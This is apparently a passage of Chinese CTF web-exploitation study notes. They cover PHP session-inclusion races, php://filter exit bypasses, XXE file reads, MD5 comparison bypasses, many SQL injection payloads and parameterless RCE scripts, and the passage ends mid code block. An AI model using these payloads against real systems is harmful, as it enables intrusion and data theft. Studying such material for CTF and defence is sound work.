    如果session.use_strict_mode值默认为0,可以自定义设置Session ID,如果设置PHPSESSID=TGAO,那么对应的文件就会上传到/tmp/sess_TGAO,可以看出文件后面的字段是可以被控制的

  • 基本思路

    先向指定页面构造一个上传文件的包,然后在包中修改PHP_SESSION_UPLOAD_PROGRESS内容,包含命令执行POST[2],然后对该临时文件进行包含,然后就可以利用post[2]进行命令执行,要利用2参数在指定路径下生成一个后门文件,其中有eval()函数执行,然后访问该文件,POST入想要执行的命令就行

    当然,SESSION文件临时存在,文件上传完成之后就会进行删除,所以要利用条件竞争先包含到文件进行命令执行,具体脚本见脚本模块

包含方法

即使是访问,如果是从url进行注入范根,内容是经过一次编码之后记录到日志文件中的,所以无法进行包含执行语句,不完整。即使编码之后传进去,编码只有进入到PHP中才会进行解码,但是记录到日志文件是在进入PHP之前的一个步骤,所以日志文件中还是不可以利用的语句。

但是如果是从UA头进行注入的,那么内容就不会经过编码,会直接记录到日志文件中。

文件开头exit绕过

(谈一谈php://filter的妙用)[https://www.leavesongs.com/PENETRATION/php-filter-magic.html]

概述

常见题目形式是写入文件时在文件头加一句<?php exit();?>,这样就无法执行后面的语句,但是通过base64特性可以绕过这个死亡exit

base64

base64中只包含64个可打印字符,所以如果对内容进行解码的时候,非base64字符(<>?();)就会被过滤成为phpexit七个字符,但是base64解码是4个byte一组,所以上传内容时在前面多加一个字符让phpexitx解码错误,但是后面的语句还可以正常执行。

php://filter/convert.base64-decode/resource=s1mple.php

XSS

https://www.cnblogs.com/digdeep/p/4695348.html

XXE

https://blog.csdn.net/qq_52907838/article/details/118030007

  • 概念

    XXE漏洞全称XML External Entity Injection 即XML外部实体注入。

    XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

    XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

  • 利用

    与SQL相似,XXE漏洞也分为有回显和无回显

    有回显,可以直接在页面中看到payload的执行结果或现象。

    无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

    解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。

  • 例子

    
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE note [
      <!ENTITY admin SYSTEM "file:///etc/passwd">
      ]>
      <user><username>&admin;</username><password>123456</password></user>
      -----------------------------------------------------
    

    payload解释: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

    standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

    按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:<!ENTITY 实体名称 "实体内容">,引用一般实体的方法:&实体名称;

    外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

    因为将file:///flag命名为admin,所以下面用&admin

    PHP引用外部实体,常见的利用协议:

      file://文件绝对路径 file:///etc/passwd
    
      http://url/file.txt
    
      php://filter/read=convert.base64-encode/resource=xxx.php
    
    

    ```

源码泄露

常用备份文件后缀

  • .phps

    phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过浏览器看到php文件内容,所以需要用phps文件代替。 它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。

  • .rar
  • .zip

    www.zip(网站源码文件)

  • .7z

  • .tar.gz

  • .bak

  • .swp

  • .txt

  • .html

参见ctf/web源码泄露及利用办法【总结中】

源码泄露

.hg源码泄漏

hg init的时候会生成.hg 工具:dvcs-ripper rip-hg.pl -v -u http://

.git源码泄漏

url/.git

.DS_Store文件泄漏

SVN导致文件泄露

.svn

CVS泄漏

vim文件泄露

默认情况下使用vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其进行下载查看index.php~

vim中的swpswap文件,在编辑文件时产生,它是隐藏文件,如果原文件为submit,则它的链式文件为.submit.swp,如果文件正常退出,则此文件自动删除。

WEB-INF/web.xml泄露

[RoarCTF 2019]Easy Java

  • 概念
`WEB-INF`是`Java`的`WEB应用的安全目录`。所谓安全就是`客户端无法访问`,只有`服务端可以访问`的目录。如果想在页面中直接访问其中的文件,必须通过`web.xml`文件对要访问的文件进行`相应映射`才能访问。

`Java Servlet` 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。

* `servlet`
    
    使用 `Servlet`,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。



* Servlet 执行以下主要任务:

    读取客户端(浏览器)发送的显式的数据。这包括网页上的 HTML 表单,或者也可以是来自 `applet` 或自定义的 HTTP 客户端程序的表单。
    读取客户端(浏览器)`发送的隐式的 HTTP 请求数据`。这包括 cookies、媒体类型和浏览器能理解的压缩格式等等。
    处理数据并生成结果。这个过程可能需要访问数据库,执行 RMI 或 CORBA 调用,调用 Web 服务,或者直接计算得出对应的响应。
    `发送显式的数据(即文档)到客户端(浏览器)`。该文档的格式可以是多种多样的,包括文本文件(HTML 或 XML)、二进制文件(GIF 图像)、Excel 等。
    `发送隐式的 HTTP 响应到客户端(浏览器)`。这包括告诉浏览器或其他客户端被返回的文档类型(例如 HTML),设置 cookies 和缓存参数,以及其他类似的任务。
  • 包含内容

    /WEB-INF/web.xmlWeb应用程序配置文件,描述了servlet和其他得应用组件配置及命名规则

    /WEB-INF/classes/包含了站点所有用的class文件,包括servlet class非servlet class,他们不能包含在.jar文件中(是该目录不能包含在.jar文件中)

    /WEB-INF/lib/存放web应用需要的各种JAR文件,放指仅在这个应用中要求使用的jar 文件,如数据库驱动jar文件

    /WEB-INF/src/源码目录,按照包名结构放指各个java文件。

    /WEB-INF/database.properties数据库配置文件

    /WEB-INF/tags/存放了自定义标签文件,该目录并不一定为taags,可以根据自己的喜好和习惯为自己的标签文件库命名,当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。

    /WEB-INF/jsp/jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。

    /WEB-INF/jsp2/与 jsp 文件目录相比,该目录下主要存放 Jsp 2.0 以下版本的文件,当然,它也是可以任意命名的,同样为区别 Jsp 1.2以下版本的文件目录,通常才命名为 jsp2。

    META-INF相当于一个信息包,目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务   manifest.mf文件,在用jar打包时自动生成。

  • 利用方法

    通过找到web.xml文件,推断class文件的路径,最后直接下载class文件,在通过反编译class文件,得到网站源码

数据库泄露

asp+access

  • /db/db.mdb

松散比较

PHP 类型比较表

当字符串与数字类型进行比较的时候,会将字符串转换为数字类型再进行比较

123=='123a'

  • intval() 返回参数整数值

常见函数绕过

md5函数绕过

参见MD5绕过的技巧

  • MD5函数特性

      $str1 = $_GET['str1'];
      $str2 = $_GET['str2'];
      if (md5($str1) == md5($str2)){
      die('OK'); }
    

    通过构造经过MD5加密后为0e开头的字符串会被认定为0的科学计数法,不管多少次方都为0,从而达成等价条件

    • MD5值为0e开头的字符串

      QNKCDZO 240610708 s878926199a s155964671a s214587387a

    • MD5值和双MD5值开头都为0e

      CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 7r4lGXCH2Ksu2JNT3BYM

    • sha1值为0e开头

      绕过sha1函数也可以传数组,弱比较 aaK1STfY aaO8zKZF

  • PHP特性

    上面的代码用到的是==(弱比较、松散比较),现在使用===(严格比较)

      $str1 = $_GET['str1'];
      $str2 = $_GET['str2'];
    
      if (md5($str1) === md5($str2)) {
      die('OK');
      }
    

    强比较不仅比较两者的值,还会比较两者的类型 而弱比较进行值比较之前还会先转化为相同类型

    • 这时候可以使用传数组的方法,使得md5函数返回NULL,然后两false等价,绕过对比
  • MD5碰撞

      $str1 = (string)$_GET['str1'];
      $str2 = (string)$_GET['str2'];
    
      if (md5($str1) === md5($str2)) {
      die('OK');
      }
    

    string强制类型转换,传数组不可行,这里需要MD5碰撞,给两个内容不同但是MD5值相同的文件,使用fastcoll进行相同值md5文件生成,非常迅速

    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

    b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

    两者变成这样这样就可以绕过⬆爆出来的

  • 绕过md5()构造攻击语句

    利用字符串生成md5值,md5值某一部分经16进制转换成为SQl语句闭合,mysql正好把它当作16进制字符串解析,从而造成闭合问题达成注入

      select * from 'admin' where password=md5($pass,true)
    
    • 常用字段

    129581926211651571912466741651878684928md5再16进制为ڔ0D㟁'or'8

    ffifdyopmd5再16进制为'or'6ɝ⬹�

SQL注入

SQL注入一方面主要是考虑如何构造第二个查询语句,不要局限于第一个语句

右查询

right join

将返回右表中所有记录,不管前表中有没有

堆叠注入

ctfshow 195

  • 用法
将所有的语句一次性输入完毕,否则SQL语句可能出现找不到表名的错误
```php

username=0x61646d696e;update`ctfshow_user`set`pass`=0x313131;&password=0x313131
``` ### Handler >https://www.cnblogs.com/gaonuoqi/p/12398554.html >ctfshow 225、强网杯2018随便注 * 概念

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
  • 用法

    利用handler方法,其作用是HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭,也就是可以通过这种方法直接访问表中的内容

      /api/?username=';show tables;-- -
    
      /api/?username=';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;-- -
        
      `1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#` 
        
    

预处理

https://blog.csdn.net/solitudi/article/details/107823398?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160652999219721940215459%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=160652999219721940215459&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_blog_default-1-107823398.pc_v2_rank_blog_default&utm_term=%E5%BC%BA%E7%BD%91%E6%9D%AF&spm=1018.2118.3001.4450 ctfshow 226、ctfshow 228-230、强网杯2018随便注

  • 概念

    预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。 MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。

  • 方法

      PREPARE name from '[my sql sequece]';   //预定义SQL语句
      EXECUTE name;  //执行预定义SQL语句
      (DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句
    

    ?username=user1';PREPARE sprint from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;EXECUTE sprint;十六进制为(select group_concat(table_name) from information_schema.tables where table_schema=database())

    注意,转十六进制使用https://www.sojson.com/hexadecimal.html,BEJSON有点不准

宽字节注入

  • 原理

    宽字节占用两个字节,普通字符占用一个字节,而页面在解码的时候将一个宽字节分为两个普通字节来解码,导致包含单引号的字节逃逸

    %D3%27 导致分开解码,后面的单引号逃逸

报错注入

  • floor()

    floor()函数作用是返回小于等于该值的最大整数,只保留整数部分

    rand()函数作用,生成一个大于等于0,小于所给参数的值,默认生成[0,1)

    rand(0)生成伪随机数,每次生成的随机数都是一样的,所以利用这一特点报错注入

    group by函数特性:进行数据整合之前会将每行数据逐条读入一个虚表中,先根据数据库中的内容对虚表进行查询,如果虚表内没有这一条数据就进行插入操作,如果有就更新count(*)(自己加的函数),经过rand()计算伪随机数造成查询插入两个过程的键值不一样,将0键值插入到虚表的1键值上导致键值重复而产生的报错

    • 用法

    floor(rand(0)*2)生成的伪随机数列为0,1,1,0,1,1(这前六位是固定的)

    select null,count(*),group_concat((select database()),floor(rand(0)*2)) as a from information_schema.schemata group by a --+

  • updatexml()

    updatexml(XML_DOCUMENT,X_PATH_STRING,new Value)是这个函数的正确用法,当用户输入与其格式不符的数据时就会发生报错,常用方法

    updatexml(1,(concat('~',(select database()),'~')),1) updatexml(1,concat('~',(select(group_concat(left(password,30)))from(H4rDsq1)),'~'),1)#

  • extractvalue()

    extractvalue(XML_DOCUMENT,X_PATH_String)是这个函数的正确用法

concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号。

  • 报错注入显示字符串长度限制

    updatexml函数返回32个字符

    利用leftright左右拼接

UPDATE 注入

ctfshow 231

  • 概念
不同于平常的查询语句,注入点出现在更新语句UPDATE中,使得查询结果能够展现在列数据库信息的位置
  • 实例

    $sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

    payload:password=1'),username=(select group_concat(flagass) from flagaa) where 1=1#&username=1

盲注

Bool盲注

ctfshow 190

  • left($x,y,z)

    从字符串x的第y个位置截取z个字符,如果没有设置z,就默认为从第y个字符截取到末尾

  • chr()

    将对应的ascii码转为字符

  • ascii()

    获取字符的ascii码值 与之功能相同的函数是ord()

  • ord()

    获取字符的ascii码值

  • length()

    获取字符串长度

  • substr($string,0,1)

    从字符串string的第一个位置截取长度为1的字符串

时间盲注

  • sleep(x)

    页面休眠x

  • benchmark(,sha(1))

    https://www.cnblogs.com/c1e4r/articles/9060525.html

    benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

    通过数次执行后面函数来起到延时的作用

    select benchmark(10500000,md5('a'));1.5秒 select benchmark(15000000,md5('a'));2.18秒

  • heavy query

    https://www.sqlinjection.net/heavy-query/ 顾名思义以就是通过大量的查询导致查询时间较长来达到延时的目的,通常选择一些比较大的表做笛卡尔积运算

  • 注意

    python2中,/表示浮点数除法,返回一个浮点数结果,//表示整数除法,要引入from __future__ import division

    python3中含义不变,不需要引入库

函数存储过程

[MySQL——查看存储过程和函数]https://blog.csdn.net/qq_41573234/article/details/80411079 ctfshow 227

  • 查看存储过程和函数的状态

    show {PROCEDURE | FUNCTION} STATUS [LIKE 'pattern']

    SHOW STATUS 语句是 MySQL 的一个扩展。它返回子程序的特征,如数据库、名字、类型、创建者及创建和修改日期。如果没有指定样式,根据使用的语句,所有的存储程序或存储函数的信息都会被列出。PROCEDURE 和 FUNCTION 分别表示查看存储过程和函数;LIKE 语句表示匹配存储过程或函数的名称。

  • 查看存储过程和函数的定义

    除了SHOW STATUS之外,还可以使用SHOW CREATE语句查看存储过程和函数的状态。

    SHOW CREATE {PROCEDURE | FUNCTION} sp_name

    SHOW CREATE 语句是Mysql 的一个扩展,类似于SHOW CREATE TABLE ,它返回一个可用来重新创建已命名子程序的确切字符串。PROCEDURE 和 FUNCTION分别表示查看存储过程和函数;LIK语句表示匹配存储过程或函数的名称。

  • 查看存储过程和函数的信息

    在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:

    SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';

    其中,ROUTINE_NAME字段种存储的是存储过程和函数的名称;sp_name参数表示存储过程或函数的名称。

其他注

[没见过的注入?]https://www.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5

limit 注入(PROCEDURE)

  • PROCEDURE analyse()

    https://www.jb51.net/article/99980.htm 是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型

  • 语法

    procesure analyse(max_elements,max_memory)

    max_elements

    指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。

    max_memory

    analyse()为每列找出所有非重复值所采用的最大内存大小。

  • payload

    limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

group by 注入

  • 概念

    group by 用来结合合计函数,根据一个或者多个列对结果集进行分组

文件名注入

  • 文件名传入数据库,查询导致注入,见题发挥

    payload.bin,写入一句话,适用于截取文件type并显示的题

无列名注入

ctfshow 235 236 https://zhuanlan.zhihu.com/p/98206699

  • 概述
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
  • 操作

      payload:`select `3` from (select 1,2,3 union select * from admin)a;`
    

    原本的列名是id,username,password,使用第一个select之后就将列名命名为1,2,3,再select * 就会将所有信息输出但是列名变为1,2,3,所以选中3就是选中了password一列

  • 换别名

    当然,多数情况下, 会被过滤。当 不能使用的时候,使用别名来代替:

      payload:`select b from (select 1,2,3 as b union select * from admin)a;`
    
  • 同时查多个列

      payload:`select concat(`2`,x02d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;`
    

    概述Mysql信息

    ctfshow 235 236 概述MySQL信息

  • 查询位置1mysql.innodb

    持久化统计信息保存在表mysql.innodb_table_statsmysql.innodb_index_stats

    网页截图

    payload:username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\

    username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)-- - &password=\

    username=,username=(select 2 from(select 1,2,3 union select * from flag23a1 limit 1,1)a)-- - &password=\

  • 查询位置2sys schema

    其中

    • sys.schema_auto_increment_columns

      可以实现对表自增ID的监控,也可以发现我们可以通过该视图获取数据库的表名信息

      payload:-1' union all select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+

    • sys.schema_table_statistics_with_buffer

      上一个试图总并没有出现的表名在这里出现

      payload:?id=-1' union all select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()--+

    • processlist

      该表可以读取正在执行的sql语句,从而得到表名和列名

常用函数

  • locate(substr,string)

    ctfshow 194

    返回字符串string第一次出现子字符串的位置

  • chr()

    将字符转为16进制

  • replace()

    替换内容,可以用来绕过对结果显示的过滤

  • load_file() //ctfshow 189

    https://www.cnblogs.com/blacksunny/p/8060028.html 知道系统绝对路径且具有读取权限

绕过过滤

  • 如果limit处逗号被过滤

    使用limit 1 offset 0代替

  • 如果substr\left\mid中的逗号被过滤

    使用from xxx for xxx代替

    原来:substr({payload},1,1) 现在:substr({payload} from 1 for 2)

  • or或者information被过滤

    参见概述Mysql信息模块使用的两个数据库(mysql>5.7),sys schema和innodb schema两个数据库

  • =like被过滤

    用正则匹配方法regexp()绕过

  • if被过滤

    case when代替

    payload:id=1^case%0aascii(substr(database(),1,1))when(102)then 2 else 3 end

  • 反斜杠绕过单引号过滤

    ctfshow 235

    前提是两个参数可控 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

    可以传password为1\,这样pass的单引号就被转义导致将原先后面的语句包括,变为pass='1\'where username =',然后就在username进行注入,需要重新加一个username=,因为原先的变成password的一部分了

    payload:# username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())-- - &password=\

  • 正则没加/i修饰符

    尝试大小混写绕过

  • 过滤去除匹配项

    尝试双写绕过

  • 空格过滤

    • ()代替

      考虑用报错注入,可以不用空格,select的内容可以用括号()括住,eg:select(database())

    • /**/代替

    • /*!...*/内联注释代替

      在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行

    • %0a\%0b\%0c...

  • 敏感字符过滤

    url编码绕过? 十六进制转换绕过 ascii编码绕过

      `Test=char(101)+char(97)+char(115)+char(116)`
    
  • 等价符号替代

    =–>like ^–>or–>||(||在MySQL中可以起到拼接的作用) &&–>and

小技巧

  • group by + with rollup

    知识盒子骚操作总结

    group by将结果集中的数据行根据选择列的值进行逻辑分组 with rollup(group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)

  • where的替代

    与where具有相同作用的还有onlike

  • 快速判断注入类型

    使用 2+2 如果正常查询4内容,就是数字,反之字符

  • select to_base64()

    将查询内容转换为base64进行输出

  • 十六进制

    数据库中十六进制也可以用来当作键值

  • ^

    数据库中可以在查询值中用异或运算符

  • or

    $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

    可以使用0'or(id=26)and'a'='a进行绕过,用或条件,用于空格所有被过滤,无法创造一个完整的新语句,就得利用之前给到的语句。

  • where xxxx=0查询所有数据

    select * from test where username =0 可以查出表中所有的记录,因为在username和0比较的时候进行弱比较,字符串转为0,这样一来就构成了0=0,所以查询成功

  • regexp

    mysql可以使用正则表达式对结果进行过滤

无参数RCE

什么是无参数RCE

前言

总体利用思路:

  • 超全局变量进行bypass,进行RCE
  • 进行任意文件读取

概念

通常情况下我们都是利用一句话木马传参数进行getshelleval(system('ls /'));

但是如果对GET参数进行正则校验就会将输入的参数过滤掉

/[^\W]+\((?R)?\)/只允许执行a(b(c()));或者a();,但是不允许a('123'),没有参数进行命令执行就会变得困难。

  • 超全局变量

    PHP中许多预定义变量都是”超全局的”,这意味着他们在一个脚本的全部作用域中都可用,在函数或者方法中无需执行flobal $variable;就可以访问他它们。

使用

getenv办法

  • getenv

    获取一个环境变量的值,可以获取当前环境变量

  • array_rand()

    从数组中随机抽取一个或者多个单元(伪随机),这样获取的是数组中的

  • array_flip()

    交换数组中的键和值

getallheaders()

  • getallheaders()

    apache2环境中 可以将获取http头中的所有信息,而在http请求头中我们可以自定义属性和其值,就像添加XFF那样,添加sky:system('ls /tmp')进行RCE

get_defined_vars()

使用getallheaders()其实具有局限性,因为它是apache2函数,如果目标中间件部位apache,那么这种方法就会失效,更好的选择是ger_defined_vars()

这种方法可以将变量进行回显,包括全局变量$_GET,$_POST,$_FILES,$_COOKIE

%url%/index.php?code=var_dump(current(get_defined_vars()));&sky=123这样就会把sky参数回显出来,利用这一特性,我们可以给参数赋恶意值,然后使用此函数对相应参数进行打印执行。

current() 返回数组中的当前单元, 默认取第一个值。

为了绕过get,post,cookie三种参数的多重过滤,可以从files参数下手,前辈写的脚本如下

import requests
from io import BytesIO

payload = "system('ls /tmp');".encode('hex')
files = {
  payload: BytesIO('sky cool!')
}

r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content

session_id()

该函数可以获取/设置当前会话id。PHPSESSID允许字母和数字出现。

  • hex2bin

    将十六进制转换为ASCII字符

      echo hex2bin("48656c6c6f20576f726c6421");
      Hello World!
    
      ⬇ 5044383959474e6864434171594473  
      ⬇ PD89YGNhdCAqYDs
      <?=`cat *`;
    
mport requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
	'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

dirname()&chdir()

如果不能RCE便尝试能不能直接读取文件,要进行目录遍历

  • getcwd()

    用于获取当前目录

      ?code=var_dump(getcwd());
      string(13) "/var/www/html"
    
  • scandir()

    这个函数其实在sql注入中也用过

      ?code=var_dump(scandir(getcwd()));
    
      array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
    
  • dirname()

    返回路径中的目录部分,也就是说将路径中的最后一部分去掉 目录回溯,上级目录 ?code=var_dump(scandir(dirname(getcwd())));

  • chdir()

    更改当前目录为指定路径

    chdir(string $directory):bool

    chdir(dirname(getcwd()))这样就可以切换当前目录到上级目录

  • localeconv()

    返回一包含本地数字及货币格式信息的数组,数组第一项是.,可以代表当前目录的意思

  • current()

    返回数组中的当前单元,默认取第一个值,这个函数和上一个函数一结合,返回的就是.

    这个函数的别名是pos()

  • next()

    将数组内部指针指向前移动一位

  • end()

    将数组内部指针指向最后一个单元

  • each()

    返回数组中当前的键/值对,并将数组指针向前移动一位

  • prev()

    将数组的内部指针倒回一位

  • reset()

    将数组的内部指针指向第一个单元

  • session_start()

    session_start()告诉PHP使用session,php默认不主动使用session

  • shell_exec()

    缩写就是(),其中的内容可以被执行,适用于 php eval(substr($F,0,6)); 传参$F=$F`;+curl xxxxx 能绕过字符串截取


# PHPINFO()关注点

* auto_append_file

    自动包含文件

# JAVA

## Javan基础

### servlet

    Servlet是在 Java Web容器中运行的小程序,通常我们用Servlet来处理一些较为复杂的服务器端的业务逻辑。Servlet是Java EE的核心,也是所有的MVC框架的实现的根本!

## Struts 2

* 概念

    Struts是一个基于MVC设计模式的Web应用框架,它本质上相当于一个`servlet`,在MVC设计模式中,Struts2作为控制器来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在Struts1和WebWork的技术基础上进行了合并都得1全新Struts2框架,其全新的Struts2的体系结构与Struts1的体系结构差别巨大。Struts2以WebWork位核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts2可以理解位WebWork都得更新产品。

### S2-001




# 模板注入
## 思路图

![](https://gitee.com/i404notforget/sprint/raw/master/img/20210611200627.png)

## 常用payload

* Twig(PHP模板语言)

    ``

* smarty

    在相应注入点``



# 暴力破解
## burpsuite
### 爆破模式
* sniper

    适用于单个爆破位置,将所有`payload`在同一位置进行尝试

* battering ram(攻城锤)

    多个位置,同时使用相同`payload`

* pitch fork(草叉)

    多个位置,每个位置都需要配置字典,爆破时各个位置分别使用自己列表中相同位置的`payload`

    ```php
    position1:1,2
    position2:3,4

    =>1,3  =>2,4
    ```
* cluster bomb

    多个位置,使用笛卡尔乘积尝试`payload`,遍历每一种可能的请求结果

    ```php
    position1:1,2
    position2:3,4

    =>1,3  =>1,4  =>2,3 =>2,4
    ```

### payload type

* custom iterator(自定义迭代器)

    支持不同位置`payload`进行拼接,分别设置不同位置使用多个`payload`,然后拼接起来统一进行处理

    使用迭代器的时候攻击位置为`1`就可以了

### payload processing

* 增加一种新的处理(编码)方式对`payload`进行处理




# 流量包分析
>(CTF-流量包分析get flag思路)[https://www.jianshu.com/p/a5dc4f6cf3f8]
## binwalk判断是否传输文件

`binwalk xxx.xxx`查看具体信息
`binwalk -e xxx.xxx`将其中的文件释放

## file 查看具体文件类型

`file xxx.xxx`

## strings提取文件内字符

`strings xxx.xxx|grep -a flag`提取flag字样字符
`strings xxx.xxx | base64 -d`base64解码获得的内容

# 常见命令


## linux

* 读文件
    * `cat`

        正序读文件,从第一行

    * `tac`

        反向读文件,从尾行向上读取

    * `more/less`

        适应窗口大小输出文件内容
        `less`还可以翻页

* find

    `find / -name xxx`

* tee

    `ls / | tee 3 `将结果输出到3文件
## 注

* `php`+`linux`

    ```php
    $c=$_GET['c'];
    eval($c);
    ======>
    echo `find / -name fl\ag.php`;

    ```

# 正则匹配

## 修饰符元字符

    . 匹配除换行符以外的任意字符

    \w 匹配字母或数字或下划线或汉字 等价于 '[^A-Za-z0-9_]'。

    \s 匹配任意的空白符

    \d 匹配数字

    \b 匹配单词的开始或结束

    ^ 匹配字符串的开始

    $ 匹配字符串的结束

    \w 能不能匹配汉字要视你的操作系统和你的应用环境而定

# 其他


## 管道符

* `&`

    命令后加&表示将进程放在后台

* `&&`

    前一条命令成功执行才执行后一条命令

* `|`

    将上一条命令的输出作为下一条命令的输入

* `||`

    上一条命令执行失败之后才会执行下一条命令

* `>`

    将内容作为标准输出信息*覆盖*写入某一位置

* `>>`

    将内容作标准输出信息*追加*写到某一位置

* `<`

    将内容作标准输入流读入前命令

* `<< xxx`

    从某位置读入输入信息,直到匹配道与xxx相同的内容然后停止
    
* `&>`

    不管命令执行结果是正确信息还是错误信息都覆盖输入到xxx

* ``
## 语言特性

* `php`反引号

    `php`中反引号中的内容会当作命令执行,和`system()`有着相似的作用

* `file_get_contents()`

    函数将文件内容读取为字符串形式,所以说这个函数可以结合`data://`伪协议,该伪协议是将文本内容进行输出,这样一结合就可以包含自己想要的内容

* `include()`
    
    可以包含文件包含变量,或者引入其他内容

* `<?=?>`

   `php`短标签,`<?php ?>`是长标签,在php的配置文件`(php.ini)`中有一个`short_open_tag`的值,开启后可以使用PHP短标签`<??>`

   同时,只有开启这个才可以使用`<?=`代替`<? echo` <??>

   但是短标签是不推荐的,使用`<?php ?>`才是规范的方法,只是因为这种短标签使用的时间比较长,这种特性才被保存下来。

* `./flag.php`

    结合目录访问特性绕过全字正则匹配

* `ereg`

    匹配字符串中的指定内容,存在NULL截断漏洞,可以用%00绕过

* `eregi`

    不区分大小写的匹配,二次url编码绕过

* `GLOBALS`

    全局变量,可以用来赋值,然后`var_dump`

* `_`函数

    `gettext()`函数的别名,返回文本信息

## 代码执行函数集合

* `eval`
* `preg_replace+/e`
* `assert`
* `call_user_func($参数,$函数)`

    `call_user_func_array()`

* `create_function($参数,$函数)`

    适用范围:PHP4>=4.0.1 PHP5 PHP7
    创建一个新的匿名函数,并将第一个变量作为参数传给函数,为其返回唯一名称

    ```php
    <?php
